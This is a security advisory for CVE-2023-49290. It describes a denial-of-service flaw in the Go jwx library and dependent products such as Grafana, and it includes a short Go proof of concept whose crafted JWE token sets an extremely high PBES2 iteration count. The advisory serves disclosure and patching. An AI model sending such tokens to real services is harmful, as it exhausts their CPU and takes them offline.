CVE-2023-49290

About vulnerability

Summary

too high p2c parameter in JWE’s alg PBES2-* could lead to a DOS attack

Details

The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack

PoC

package main

import (
"fmt"
"github.com/lestrrat-go/jwx/v2/jwa"
"github.com/lestrrat-go/jwx/v2/jwe"
"github.com/lestrrat-go/jwx/v2/jwk"
)

func main() {
token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA")
key, err := jwk.FromRaw([]byte(`abcdefg`))
payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))
if err == nil {
fmt.Println(string(payload))
}
}

Impact

It’s a kind of Dos attack, the user’s environment could potentially utilize an excessive amount of CPU resources.

Affected product:

Grafana , influxdata/influxdb-client-go , lestrrat-go/jwx , oapi-codegen/oapi-codegen

Affected packages:

github.com/lestrrat-go/jwx @ 1.2.25 (+3 more)